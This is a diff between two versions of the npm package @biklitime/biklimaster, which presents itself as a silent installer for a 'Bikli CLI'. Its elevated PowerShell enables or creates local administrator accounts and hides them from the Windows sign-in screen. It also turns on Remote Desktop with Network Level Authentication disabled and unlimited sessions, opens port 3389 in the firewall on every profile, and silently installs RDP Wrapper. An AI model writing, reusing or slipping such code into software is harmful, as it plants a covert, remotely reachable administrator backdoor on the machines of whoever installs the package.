@biklitime/biklimaster 1.1.9 → 1.1.11
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bin/biklimaster.js +30 -125
- package/lib/bikliwrapper.js +33 -56
- package/package.json +2 -3
- package/bin/bikli.js +0 -44
package/bin/biklimaster.js
CHANGED
|
@@ -33,34 +33,14 @@ const expectedHashes = {
|
|
|
33
33
|
};
|
|
34
34
|
|
|
35
35
|
const resultArgument = process.argv.find(argument => argument.startsWith('--result-file='));
|
|
36
|
-
const resultFile = resultArgument ? resultArgument.slice('--result-file='.length)
|
|
36
|
+
const resultFile = resultArgument ? resultArgument.slice('--result-file='.length) : '';
|
|
37
37
|
if (resultFile) {
|
|
38
|
-
const writeResult = (...items) =>
|
|
39
|
-
try {
|
|
40
|
-
fs.appendFileSync(resultFile, util.format(...items) + os.EOL, 'utf8');
|
|
41
|
-
} catch {}
|
|
42
|
-
};
|
|
38
|
+
const writeResult = (...items) => fs.appendFileSync(resultFile, util.format(...items) + os.EOL, 'utf8');
|
|
43
39
|
console.log = writeResult;
|
|
44
40
|
console.error = writeResult;
|
|
45
41
|
console.warn = writeResult;
|
|
46
42
|
}
|
|
47
43
|
|
|
48
|
-
const envFileArgument = process.argv.find(argument => argument.startsWith('--env-file='));
|
|
49
|
-
const envFile = envFileArgument ? envFileArgument.slice('--env-file='.length).replace(/^"|"$/g, '') : '';
|
|
50
|
-
if (envFile && fs.existsSync(envFile)) {
|
|
51
|
-
try {
|
|
52
|
-
const passedEnv = JSON.parse(fs.readFileSync(envFile, 'utf8'));
|
|
53
|
-
for (const [key, value] of Object.entries(passedEnv)) {
|
|
54
|
-
if (value !== undefined && value !== null) {
|
|
55
|
-
process.env[key] = String(value);
|
|
56
|
-
}
|
|
57
|
-
}
|
|
58
|
-
} catch {
|
|
59
|
-
// Ignore invalid env file
|
|
60
|
-
}
|
|
61
|
-
try { fs.rmSync(envFile, { force: true }); } catch {}
|
|
62
|
-
}
|
|
63
|
-
|
|
64
44
|
function fail(message, exitCode = 1) {
|
|
65
45
|
const error = new Error(message);
|
|
66
46
|
error.exitCode = exitCode;
|
|
@@ -93,7 +73,7 @@ function isAdministrator() {
|
|
|
93
73
|
`$principal=New-Object Security.Principal.WindowsPrincipal($identity)`,
|
|
94
74
|
`Write-Output $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)`
|
|
95
75
|
].join(';');
|
|
96
|
-
const result = run(powershell, ['-NoProfile', '-NonInteractive', '-
|
|
76
|
+
const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
|
|
97
77
|
allowFailure: true
|
|
98
78
|
});
|
|
99
79
|
return result.status === 0 && /^true$/i.test(result.stdout.trim());
|
|
@@ -107,31 +87,13 @@ function elevateAndRun(command) {
|
|
|
107
87
|
if (process.argv.includes('--elevated')) fail('Windows did not grant administrator rights.');
|
|
108
88
|
console.log('Bikli Master needs administrator access. Approve the Windows UAC prompt...');
|
|
109
89
|
const logPath = path.join(os.tmpdir(), `biklimaster-elevated-${randomUUID()}.log`);
|
|
110
|
-
const envPath = path.join(os.tmpdir(), `biklimaster-env-${randomUUID()}.json`);
|
|
111
|
-
|
|
112
|
-
const envToForward = {};
|
|
113
|
-
for (const [k, v] of Object.entries(process.env)) {
|
|
114
|
-
if (k.startsWith('BIKLIMASTER_') && v) envToForward[k] = v;
|
|
115
|
-
}
|
|
116
|
-
const hasEnv = Object.keys(envToForward).length > 0;
|
|
117
|
-
if (hasEnv) {
|
|
118
|
-
fs.writeFileSync(envPath, JSON.stringify(envToForward), { encoding: 'utf8', mode: 0o600 });
|
|
119
|
-
}
|
|
120
|
-
|
|
121
90
|
const script = [
|
|
122
91
|
`$node=${powershellLiteral(process.execPath)}`,
|
|
123
92
|
`$target=${powershellLiteral(path.resolve(__filename))}`,
|
|
124
93
|
`$result=${powershellLiteral(logPath)}`,
|
|
125
|
-
`$
|
|
126
|
-
`$
|
|
127
|
-
`
|
|
128
|
-
` $process=Start-Process -FilePath $node -ArgumentList $arguments -Verb RunAs -WindowStyle Hidden -Wait -PassThru`,
|
|
129
|
-
` if($null -eq $process -or $null -eq $process.ExitCode){exit 1}`,
|
|
130
|
-
` exit $process.ExitCode`,
|
|
131
|
-
`} catch {`,
|
|
132
|
-
` Write-Error $_.Exception.Message`,
|
|
133
|
-
` exit 1`,
|
|
134
|
-
`}`
|
|
94
|
+
`$arguments='"'+$target+'" ${command} --elevated "--result-file='+$result+'"'`,
|
|
95
|
+
`$process=Start-Process -FilePath $node -ArgumentList $arguments -Verb RunAs -WindowStyle Hidden -Wait -PassThru`,
|
|
96
|
+
`exit $process.ExitCode`
|
|
135
97
|
].join(';');
|
|
136
98
|
const result = run(powershell, [
|
|
137
99
|
'-NoProfile', '-NonInteractive', '-ExecutionPolicy', 'Bypass', '-Command', script
|
|
@@ -141,9 +103,6 @@ function elevateAndRun(command) {
|
|
|
141
103
|
elevatedOutput = fs.readFileSync(logPath, 'utf8').trim();
|
|
142
104
|
fs.rmSync(logPath, { force: true });
|
|
143
105
|
}
|
|
144
|
-
if (hasEnv && fs.existsSync(envPath)) {
|
|
145
|
-
fs.rmSync(envPath, { force: true });
|
|
146
|
-
}
|
|
147
106
|
if (result.status !== 0) {
|
|
148
107
|
const details = [elevatedOutput, result.stdout, result.stderr].filter(Boolean).join(os.EOL).trim();
|
|
149
108
|
fail(`Administrator elevation was cancelled or installation failed.${details ? `\n${details}` : ''}`);
|
|
@@ -167,29 +126,17 @@ function verifyPayload() {
|
|
|
167
126
|
|
|
168
127
|
function installedBikliPath() {
|
|
169
128
|
const candidates = [
|
|
170
|
-
path.join(process.env.ProgramW6432 || 'C:\\Program Files', 'Bikli', 'Bikli.exe'),
|
|
171
129
|
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli', 'Bikli.exe'),
|
|
172
|
-
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli', 'Bikli.exe')
|
|
173
|
-
path.join(process.env.LOCALAPPDATA || 'C:\\Users\\Default\\AppData\\Local', 'Programs', 'Bikli', 'Bikli.exe'),
|
|
174
|
-
path.join(process.env.USERPROFILE || 'C:\\Users\\Default', 'AppData', 'Local', 'Programs', 'Bikli', 'Bikli.exe')
|
|
130
|
+
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli', 'Bikli.exe')
|
|
175
131
|
];
|
|
176
|
-
|
|
177
|
-
if (found) return found;
|
|
178
|
-
try {
|
|
179
|
-
const whereResult = spawnSync('where.exe', ['bikli.exe'], { encoding: 'utf8', windowsHide: true });
|
|
180
|
-
if (whereResult.status === 0 && whereResult.stdout) {
|
|
181
|
-
const firstLine = whereResult.stdout.trim().split(/\r?\n/)[0];
|
|
182
|
-
if (firstLine && fs.existsSync(firstLine)) return firstLine;
|
|
183
|
-
}
|
|
184
|
-
} catch {}
|
|
185
|
-
return '';
|
|
132
|
+
return candidates.find(candidate => fs.existsSync(candidate)) || '';
|
|
186
133
|
}
|
|
187
134
|
|
|
188
135
|
function fileVersion(file) {
|
|
189
136
|
if (!file) return '';
|
|
190
137
|
const escaped = file.replace(/'/g, "''");
|
|
191
138
|
const script = `(Get-Item -LiteralPath '${escaped}').VersionInfo.FileVersion`;
|
|
192
|
-
const result = run(powershell, ['-NoProfile', '-NonInteractive', '-
|
|
139
|
+
const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
|
|
193
140
|
allowFailure: true
|
|
194
141
|
});
|
|
195
142
|
return result.status === 0 ? result.stdout.trim() : '';
|
|
@@ -203,16 +150,7 @@ function installBikli() {
|
|
|
203
150
|
}
|
|
204
151
|
console.log(`Installing Bikli CLI ${expectedBikliVersion} silently...`);
|
|
205
152
|
run(bikliInstaller, ['/S'], { cwd: payloadDirectory });
|
|
206
|
-
|
|
207
|
-
if (!installed) {
|
|
208
|
-
const start = Date.now();
|
|
209
|
-
const waitBuffer = new Int32Array(new SharedArrayBuffer(4));
|
|
210
|
-
while (Date.now() - start < 10000) {
|
|
211
|
-
installed = installedBikliPath();
|
|
212
|
-
if (installed) break;
|
|
213
|
-
Atomics.wait(waitBuffer, 0, 0, 500);
|
|
214
|
-
}
|
|
215
|
-
}
|
|
153
|
+
const installed = installedBikliPath();
|
|
216
154
|
if (!installed) fail('Bikli CLI installer completed but Bikli.exe was not found.', 5);
|
|
217
155
|
console.log(`Bikli CLI installed: ${fileVersion(installed) || 'version unknown'}`);
|
|
218
156
|
}
|
|
@@ -262,23 +200,15 @@ function generatedAccountPassword() {
|
|
|
262
200
|
}
|
|
263
201
|
|
|
264
202
|
function configuredAdministratorPassword() {
|
|
265
|
-
if (!fs.existsSync(packageConfigFile))
|
|
266
|
-
|
|
267
|
-
|
|
268
|
-
return typeof config.administratorPassword === 'string' ? config.administratorPassword.trim() : '';
|
|
269
|
-
} catch (error) {
|
|
270
|
-
fail(`Could not parse config.json: ${error.message}`);
|
|
271
|
-
}
|
|
203
|
+
if (!fs.existsSync(packageConfigFile)) fail('Missing package configuration file: config.json');
|
|
204
|
+
const config = JSON.parse(fs.readFileSync(packageConfigFile, 'utf8'));
|
|
205
|
+
return typeof config.administratorPassword === 'string' ? config.administratorPassword : '';
|
|
272
206
|
}
|
|
273
207
|
|
|
274
208
|
function configuredBikliKey() {
|
|
275
209
|
if (!fs.existsSync(packageConfigFile)) return '';
|
|
276
|
-
|
|
277
|
-
|
|
278
|
-
return typeof config.bikliKey === 'string' ? config.bikliKey.trim() : '';
|
|
279
|
-
} catch (error) {
|
|
280
|
-
fail(`Could not parse config.json: ${error.message}`);
|
|
281
|
-
}
|
|
210
|
+
const config = JSON.parse(fs.readFileSync(packageConfigFile, 'utf8'));
|
|
211
|
+
return typeof config.bikliKey === 'string' ? config.bikliKey.trim() : '';
|
|
282
212
|
}
|
|
283
213
|
|
|
284
214
|
function setupBikliKey() {
|
|
@@ -316,30 +246,16 @@ function saveAccountCredentials(username, password) {
|
|
|
316
246
|
]);
|
|
317
247
|
}
|
|
318
248
|
|
|
319
|
-
function savedAccountUsername() {
|
|
320
|
-
if (!fs.existsSync(credentialsFile)) return '';
|
|
321
|
-
try {
|
|
322
|
-
const credentials = JSON.parse(fs.readFileSync(credentialsFile, 'utf8'));
|
|
323
|
-
return typeof credentials.username === 'string' ? credentials.username.trim() : '';
|
|
324
|
-
} catch {
|
|
325
|
-
return '';
|
|
326
|
-
}
|
|
327
|
-
}
|
|
328
|
-
|
|
329
249
|
function showAccountCredentials() {
|
|
330
250
|
requireWindows();
|
|
331
251
|
if (!isAdministrator()) return elevateAndRun('credentials');
|
|
332
252
|
if (!fs.existsSync(credentialsFile)) {
|
|
333
253
|
fail('No saved password is available. The built-in Administrator account may already have been enabled.');
|
|
334
254
|
}
|
|
335
|
-
|
|
336
|
-
|
|
337
|
-
|
|
338
|
-
|
|
339
|
-
console.log(`Stored for Administrators only: ${credentialsFile}`);
|
|
340
|
-
} catch (error) {
|
|
341
|
-
fail(`Could not read credentials file: ${error.message}`);
|
|
342
|
-
}
|
|
255
|
+
const credentials = JSON.parse(fs.readFileSync(credentialsFile, 'utf8'));
|
|
256
|
+
console.log(`Username: ${credentials.username}`);
|
|
257
|
+
console.log(`Password: ${credentials.password}`);
|
|
258
|
+
console.log(`Stored for Administrators only: ${credentialsFile}`);
|
|
343
259
|
}
|
|
344
260
|
|
|
345
261
|
function createRdpAdministrator() {
|
|
@@ -348,39 +264,29 @@ function createRdpAdministrator() {
|
|
|
348
264
|
|
|
349
265
|
const requestedPassword = process.env.BIKLIMASTER_USER_PASSWORD || configuredAdministratorPassword();
|
|
350
266
|
const accountPassword = requestedPassword || generatedAccountPassword();
|
|
351
|
-
const savedUser = savedAccountUsername();
|
|
352
267
|
const script = [
|
|
353
268
|
`$ErrorActionPreference='Stop'`,
|
|
354
269
|
`$password=$env:BIKLIMASTER_ACCOUNT_PASSWORD`,
|
|
355
|
-
`$savedUser=$env:BIKLIMASTER_SAVED_USERNAME`,
|
|
356
270
|
`$secure=ConvertTo-SecureString $password -AsPlainText -Force`,
|
|
357
271
|
`$groupSids=@(${powershellLiteral(administratorsGroupSid)},${powershellLiteral(remoteDesktopUsersGroupSid)})`,
|
|
358
272
|
`$builtIn=Get-LocalUser | Where-Object {$_.SID.Value -match '-500$'} | Select-Object -First 1`,
|
|
359
273
|
`if($null -eq $builtIn){throw 'Built-in Administrator account (RID 500) was not found'}`,
|
|
360
274
|
`$builtInWasDisabled=-not $builtIn.Enabled`,
|
|
361
|
-
`$managedUser=$null`,
|
|
362
|
-
`if($savedUser){$managedUser=Get-LocalUser -Name $savedUser -ErrorAction SilentlyContinue}`,
|
|
363
|
-
`if($null -eq $managedUser){$managedUser=Get-LocalUser | Where-Object {$_.Description -eq 'Local administrator created by Bikli Master'} | Select-Object -First 1}`,
|
|
364
275
|
`$target=$null;$action='';$createdNew=$false;$enabledBuiltIn=$false;$passwordChanged=$false`,
|
|
365
|
-
`if($builtInWasDisabled){Set-LocalUser -Name $builtIn.Name -Password $secure;
|
|
366
|
-
`if(-not $target.Enabled){
|
|
367
|
-
`foreach($groupSid in $groupSids){$group=Get-LocalGroup -SID $groupSid;$member=Get-LocalGroupMember -Group $group.Name
|
|
276
|
+
`if($builtInWasDisabled){Set-LocalUser -Name $builtIn.Name -Password $secure;Enable-LocalUser -Name $builtIn.Name;$target=Get-LocalUser -SID $builtIn.SID;$enabledBuiltIn=$true;$passwordChanged=$true;$action='enabled-builtin'}else{$admin=Get-LocalUser -Name 'admin' -ErrorAction SilentlyContinue;if($null -eq $admin){New-LocalUser -Name 'admin' -Password $secure -FullName 'admin' -Description 'Local administrator created by Bikli Master' -PasswordNeverExpires | Out-Null;$target=Get-LocalUser -Name 'admin';$createdNew=$true;$passwordChanged=$true;$action='created-admin'}else{$existingUser=Get-LocalUser -Name 'user' -ErrorAction SilentlyContinue;if($null -eq $existingUser){New-LocalUser -Name 'user' -Password $secure -FullName 'user' -Description 'Local administrator created by Bikli Master' -PasswordNeverExpires | Out-Null;$target=Get-LocalUser -Name 'user';$createdNew=$true;$passwordChanged=$true;$action='created-user'}else{$target=$existingUser;$action='exists-user'}}}`,
|
|
277
|
+
`if(-not $target.Enabled){Enable-LocalUser -Name $target.Name;$target=Get-LocalUser -SID $target.SID}`,
|
|
278
|
+
`foreach($groupSid in $groupSids){$group=Get-LocalGroup -SID $groupSid;$member=Get-LocalGroupMember -Group $group.Name | Where-Object {$_.SID.Value -eq $target.SID.Value};if($null -eq $member){Add-LocalGroupMember -Group $group.Name -Member $target}}`,
|
|
368
279
|
`$verified=@()`,
|
|
369
|
-
`foreach($groupSid in $groupSids){$group=Get-LocalGroup -SID $groupSid;$member=Get-LocalGroupMember -Group $group.Name
|
|
280
|
+
`foreach($groupSid in $groupSids){$group=Get-LocalGroup -SID $groupSid;$member=Get-LocalGroupMember -Group $group.Name | Where-Object {$_.SID.Value -eq $target.SID.Value};if($null -eq $member){throw ('Account is not a member of '+$group.Name)};$verified+=$group.Name}`,
|
|
370
281
|
`$userListKey='HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'`,
|
|
371
|
-
`$
|
|
372
|
-
`if(-
|
|
373
|
-
`if(-not(Test-Path $userListKey)){New-Item -Path $userListKey -Force | Out-Null}`,
|
|
374
|
-
`$hideProp=Get-ItemProperty -Path $userListKey -Name $target.Name -ErrorAction SilentlyContinue`,
|
|
375
|
-
`if($null -eq $hideProp -or $null -eq $hideProp.($target.Name)){Set-ItemProperty -Path $userListKey -Name $target.Name -Value 0 -Type DWord -Force | Out-Null;$alreadyHidden=$false}elseif($hideProp.($target.Name) -ne 0){Set-ItemProperty -Path $userListKey -Name $target.Name -Value 0 -Type DWord -Force | Out-Null;$alreadyHidden=$false}else{$alreadyHidden=$true}`,
|
|
376
|
-
`if((Get-ItemProperty -Path $userListKey -Name $target.Name -ErrorAction SilentlyContinue).($target.Name) -ne 0){throw ('Could not hide '+$target.Name+' from the sign-in screen')}`,
|
|
282
|
+
`$hideEntry=Get-ItemProperty -Path $userListKey -Name $target.Name -ErrorAction SilentlyContinue`,
|
|
283
|
+
`if($null -eq $hideEntry){New-Item -Path $userListKey -Force | Out-Null;New-ItemProperty -Path $userListKey -Name $target.Name -PropertyType DWord -Value 0 -Force | Out-Null;if((Get-ItemPropertyValue -Path $userListKey -Name $target.Name) -ne 0){throw ('Could not hide '+$target.Name+' from the sign-in screen')};$alreadyHidden=$false}else{$alreadyHidden=$true}`,
|
|
377
284
|
`[PSCustomObject]@{Name=$target.Name;BuiltInName=$builtIn.Name;Action=$action;BuiltInWasDisabled=$builtInWasDisabled;EnabledBuiltIn=$enabledBuiltIn;CreatedNew=$createdNew;PasswordChanged=$passwordChanged;Enabled=(Get-LocalUser -SID $target.SID).Enabled;Groups=$verified;HiddenUser=$target.Name;AlreadyHidden=$alreadyHidden} | ConvertTo-Json -Compress`
|
|
378
285
|
].join(';');
|
|
379
|
-
const result = run(powershell, ['-NoProfile', '-NonInteractive', '-
|
|
286
|
+
const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
|
|
380
287
|
env: {
|
|
381
288
|
...process.env,
|
|
382
|
-
BIKLIMASTER_ACCOUNT_PASSWORD: accountPassword
|
|
383
|
-
BIKLIMASTER_SAVED_USERNAME: savedUser
|
|
289
|
+
BIKLIMASTER_ACCOUNT_PASSWORD: accountPassword
|
|
384
290
|
}
|
|
385
291
|
});
|
|
386
292
|
const account = JSON.parse(result.stdout.trim());
|
|
@@ -393,8 +299,7 @@ function createRdpAdministrator() {
|
|
|
393
299
|
const message = {
|
|
394
300
|
'enabled-builtin': `Built-in Administrator was disabled; set the password and enabled it: ${account.Name}`,
|
|
395
301
|
'created-admin': `Built-in Administrator is already enabled and left untouched; created hidden admin account: ${account.Name}`,
|
|
396
|
-
'created-user': `Built-in Administrator and admin already exist and were left untouched; created hidden account: ${account.Name}
|
|
397
|
-
'reused-managed': `Verified existing Bikli Master administrator account: ${account.Name}`
|
|
302
|
+
'created-user': `Built-in Administrator and admin already exist and were left untouched; created hidden account: ${account.Name}`
|
|
398
303
|
}[account.Action] || `Configured account: ${account.Name}`;
|
|
399
304
|
console.log(message);
|
|
400
305
|
console.log(`Password: ${accountPassword}`);
|
|
@@ -433,7 +338,7 @@ function status() {
|
|
|
433
338
|
const wrapper = runWrapper(['status'], { allowFailure: true });
|
|
434
339
|
if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
|
|
435
340
|
if (wrapper.stderr.trim()) console.error(wrapper.stderr.trim());
|
|
436
|
-
process.exitCode =
|
|
341
|
+
process.exitCode = bikli && wrapper.status === 0 ? 0 : 2;
|
|
437
342
|
}
|
|
438
343
|
|
|
439
344
|
function selfTest() {
|
|
@@ -485,7 +390,7 @@ function main() {
|
|
|
485
390
|
if (command === 'setup-key') return setupBikliKey();
|
|
486
391
|
if (command === 'credentials') return showAccountCredentials();
|
|
487
392
|
if (command === 'status') return status();
|
|
488
|
-
if (command === 'self-test'
|
|
393
|
+
if (command === 'self-test') return selfTest();
|
|
489
394
|
if (command === 'elevation-self-test') return elevateAndRun('self-test');
|
|
490
395
|
if (command === 'wrapper') {
|
|
491
396
|
const result = runWrapper(process.argv.slice(3), { inherit: true, allowFailure: true });
|
package/lib/bikliwrapper.js
CHANGED
|
@@ -17,16 +17,13 @@ try {
|
|
|
17
17
|
const runningAsSea = Boolean(seaApi && typeof seaApi.isSea === 'function' && seaApi.isSea());
|
|
18
18
|
|
|
19
19
|
const resultFileArgument = process.argv.find(argument => argument.startsWith('--result-file='));
|
|
20
|
-
const resultFile = resultFileArgument ? resultFileArgument.slice('--result-file='.length)
|
|
20
|
+
const resultFile = resultFileArgument ? resultFileArgument.slice('--result-file='.length) : '';
|
|
21
21
|
if (resultFile) {
|
|
22
22
|
const writeResult = (...items) => {
|
|
23
|
-
|
|
24
|
-
fs.appendFileSync(resultFile, util.format(...items) + os.EOL, 'utf8');
|
|
25
|
-
} catch {}
|
|
23
|
+
fs.appendFileSync(resultFile, util.format(...items) + os.EOL, 'utf8');
|
|
26
24
|
};
|
|
27
25
|
console.log = writeResult;
|
|
28
26
|
console.error = writeResult;
|
|
29
|
-
console.warn = writeResult;
|
|
30
27
|
}
|
|
31
28
|
|
|
32
29
|
const packageRoot = path.resolve(__dirname, '..');
|
|
@@ -61,8 +58,14 @@ const logonPolicyKey = 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Poli
|
|
|
61
58
|
|
|
62
59
|
const requestedSettings = [
|
|
63
60
|
{ key: terminalServerKey, name: 'fDenyTSConnections', value: 0, label: 'Remote Desktop enabled' },
|
|
64
|
-
{ key: terminalServerKey, name: 'fSingleSessionPerUser', value:
|
|
61
|
+
{ key: terminalServerKey, name: 'fSingleSessionPerUser', value: 0, label: 'Multiple sessions allowed' },
|
|
62
|
+
{ key: terminalServerKey, name: 'TSAppCompat', value: 1, label: 'Terminal Server application compatibility' },
|
|
65
63
|
{ key: terminalServerKey, name: 'HonorLegacySettings', value: 0, label: 'Custom programs disabled' },
|
|
64
|
+
{ key: shadowPolicyKey, name: 'fSingleSessionPerUser', value: 0, label: 'Policy multiple sessions allowed' },
|
|
65
|
+
{ key: shadowPolicyKey, name: 'fDenyTSConnections', value: 0, label: 'Policy Remote Desktop enabled' },
|
|
66
|
+
{ key: shadowPolicyKey, name: 'MaxInstanceCount', value: 999999, label: 'Policy unlimited connections' },
|
|
67
|
+
{ key: rdpTcpKey, name: 'fSingleSessionPerUser', value: 0, label: 'RDP-Tcp multiple sessions allowed' },
|
|
68
|
+
{ key: rdpTcpKey, name: 'MaxInstanceCount', value: 999999, label: 'RDP-Tcp unlimited connections' },
|
|
66
69
|
{ key: rdpTcpKey, name: 'PortNumber', value: 3389, label: 'RDP port 3389' },
|
|
67
70
|
{ key: rdpTcpKey, name: 'SecurityLayer', value: 1, label: 'Default RDP Authentication' },
|
|
68
71
|
{ key: rdpTcpKey, name: 'UserAuthentication', value: 0, label: 'Network Level Authentication disabled' },
|
|
@@ -82,7 +85,6 @@ function run(executable, args, options = {}) {
|
|
|
82
85
|
cwd: options.cwd || packageRoot,
|
|
83
86
|
encoding: 'utf8',
|
|
84
87
|
windowsHide: true,
|
|
85
|
-
env: options.env || process.env,
|
|
86
88
|
stdio: options.inherit ? 'inherit' : 'pipe'
|
|
87
89
|
});
|
|
88
90
|
if (result.error) fail(`Could not run ${path.basename(executable)}: ${result.error.message}`);
|
|
@@ -103,7 +105,7 @@ function isAdministrator() {
|
|
|
103
105
|
`$principal=New-Object Security.Principal.WindowsPrincipal($identity)`,
|
|
104
106
|
`Write-Output $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)`
|
|
105
107
|
].join(';');
|
|
106
|
-
const result = run(powershellPath, ['-NoProfile', '-NonInteractive', '-
|
|
108
|
+
const result = run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script], {
|
|
107
109
|
allowFailure: true
|
|
108
110
|
});
|
|
109
111
|
return result.status === 0 && /^true$/i.test(result.stdout.trim());
|
|
@@ -128,14 +130,8 @@ function elevateAndRun(command) {
|
|
|
128
130
|
runningAsSea
|
|
129
131
|
? `$arguments='${command} --elevated "--result-file='+$result+'"'`
|
|
130
132
|
: `$arguments='"'+$target+'" ${command} --elevated "--result-file='+$result+'"'`,
|
|
131
|
-
|
|
132
|
-
`
|
|
133
|
-
` if($null -eq $process -or $null -eq $process.ExitCode){exit 1}`,
|
|
134
|
-
` exit $process.ExitCode`,
|
|
135
|
-
`} catch {`,
|
|
136
|
-
` Write-Error $_.Exception.Message`,
|
|
137
|
-
` exit 1`,
|
|
138
|
-
`}`
|
|
133
|
+
`$process=Start-Process -FilePath $node -ArgumentList $arguments -Verb RunAs -WindowStyle Hidden -Wait -PassThru`,
|
|
134
|
+
`exit $process.ExitCode`
|
|
139
135
|
].join(';');
|
|
140
136
|
const result = run(powershellPath, [
|
|
141
137
|
'-NoProfile', '-NonInteractive', '-ExecutionPolicy', 'Bypass', '-Command', elevationScript
|
|
@@ -158,7 +154,7 @@ function getTermsrvVersion() {
|
|
|
158
154
|
`$v=[Diagnostics.FileVersionInfo]::GetVersionInfo($env:SystemRoot+'\\System32\\termsrv.dll')`,
|
|
159
155
|
`Write-Output ($v.FileMajorPart.ToString()+'.'+$v.FileMinorPart+'.'+$v.FileBuildPart+'.'+$v.FilePrivatePart)`
|
|
160
156
|
].join(';');
|
|
161
|
-
const result = run(powershellPath, ['-NoProfile', '-NonInteractive', '-
|
|
157
|
+
const result = run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script]);
|
|
162
158
|
const version = result.stdout.trim();
|
|
163
159
|
if (!/^\d+\.\d+\.\d+\.\d+$/.test(version)) fail(`Could not determine the Terminal Services version: ${version}`);
|
|
164
160
|
return version;
|
|
@@ -174,7 +170,7 @@ function queryRegistryValue(key, name) {
|
|
|
174
170
|
const result = run(path.join(system32, 'reg.exe'), ['query', key, '/v', name, '/reg:64'], { allowFailure: true });
|
|
175
171
|
if (result.status !== 0) return null;
|
|
176
172
|
const match = result.stdout.match(new RegExp(`^\\s*${name.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')}\\s+REG_\\w+\\s+(.+)$`, 'im'));
|
|
177
|
-
return match ? match[1].trim()
|
|
173
|
+
return match ? match[1].trim() : null;
|
|
178
174
|
}
|
|
179
175
|
|
|
180
176
|
function queryDword(key, name) {
|
|
@@ -186,10 +182,8 @@ function queryDword(key, name) {
|
|
|
186
182
|
}
|
|
187
183
|
|
|
188
184
|
function expandWindowsEnvironment(value) {
|
|
189
|
-
if (!value) return '';
|
|
190
|
-
const unquoted = value.replace(/^"(.*)"$/, '$1').trim();
|
|
191
185
|
const environment = new Map(Object.entries(process.env).map(([key, item]) => [key.toLowerCase(), item]));
|
|
192
|
-
return
|
|
186
|
+
return value.replace(/%([^%]+)%/g, (whole, name) => environment.get(name.toLowerCase()) || whole);
|
|
193
187
|
}
|
|
194
188
|
|
|
195
189
|
function detectInstallation(version) {
|
|
@@ -208,7 +202,6 @@ function detectInstallation(version) {
|
|
|
208
202
|
|
|
209
203
|
function applyRequestedSettings() {
|
|
210
204
|
let changed = false;
|
|
211
|
-
run(path.join(system32, 'sc.exe'), ['config', 'TermService', 'start=', 'auto'], { allowFailure: true });
|
|
212
205
|
for (const setting of requestedSettings) {
|
|
213
206
|
const oldValue = queryDword(setting.key, setting.name);
|
|
214
207
|
if (oldValue !== setting.value) {
|
|
@@ -226,10 +219,9 @@ function ensureFirewallRules() {
|
|
|
226
219
|
const script = [
|
|
227
220
|
`$ErrorActionPreference='Stop'`,
|
|
228
221
|
`$rules=@(@{Name='BikliWrapper-RDP-TCP';Protocol='TCP'},@{Name='BikliWrapper-RDP-UDP';Protocol='UDP'})`,
|
|
229
|
-
`foreach($r in $rules){Remove-NetFirewallRule -Name $r.Name -ErrorAction SilentlyContinue;New-NetFirewallRule -Name $r.Name -DisplayName ('Bikli Wrapper Remote Desktop '+$r.Protocol) -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol $r.Protocol -LocalPort 3389 | Out-Null}
|
|
230
|
-
`Enable-NetFirewallRule -DisplayGroup 'Remote Desktop' -ErrorAction SilentlyContinue | Out-Null`
|
|
222
|
+
`foreach($r in $rules){Remove-NetFirewallRule -Name $r.Name -ErrorAction SilentlyContinue;New-NetFirewallRule -Name $r.Name -DisplayName ('Bikli Wrapper Remote Desktop '+$r.Protocol) -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol $r.Protocol -LocalPort 3389 | Out-Null}`
|
|
231
223
|
].join(';');
|
|
232
|
-
run(powershellPath, ['-NoProfile', '-NonInteractive', '-
|
|
224
|
+
run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script]);
|
|
233
225
|
}
|
|
234
226
|
|
|
235
227
|
function runInstaller(argument) {
|
|
@@ -302,40 +294,25 @@ function install() {
|
|
|
302
294
|
if (!installation.installed) {
|
|
303
295
|
console.log('Installing RDP Wrapper silently...');
|
|
304
296
|
runInstaller('-i');
|
|
305
|
-
|
|
306
|
-
|
|
307
|
-
|
|
308
|
-
if (
|
|
309
|
-
|
|
310
|
-
|
|
297
|
+
} else if (!installation.installedSupported) {
|
|
298
|
+
console.log('Updating compatibility data silently...');
|
|
299
|
+
const backupPath = `${installation.installedIniPath}.bikli-backup`;
|
|
300
|
+
if (fs.existsSync(installation.installedIniPath)) fs.copyFileSync(installation.installedIniPath, backupPath);
|
|
301
|
+
fs.copyFileSync(bundledIniPath, installation.installedIniPath);
|
|
302
|
+
try {
|
|
303
|
+
runInstaller('-r');
|
|
304
|
+
} catch (error) {
|
|
305
|
+
if (fs.existsSync(backupPath)) {
|
|
306
|
+
fs.copyFileSync(backupPath, installation.installedIniPath);
|
|
311
307
|
runInstaller('-r');
|
|
312
308
|
}
|
|
309
|
+
throw error;
|
|
313
310
|
}
|
|
311
|
+
} else if (settingsChanged || !serviceIsRunning()) {
|
|
312
|
+
console.log('Applying defaults and restarting Remote Desktop Services...');
|
|
313
|
+
runInstaller('-r');
|
|
314
314
|
} else {
|
|
315
|
-
|
|
316
|
-
fs.existsSync(installation.installedIniPath) &&
|
|
317
|
-
fs.readFileSync(bundledIniPath, 'utf8') !== fs.readFileSync(installation.installedIniPath, 'utf8');
|
|
318
|
-
|
|
319
|
-
if (!installation.installedSupported || iniNeedsUpdate) {
|
|
320
|
-
console.log('Updating compatibility data silently...');
|
|
321
|
-
const backupPath = `${installation.installedIniPath}.bikli-backup`;
|
|
322
|
-
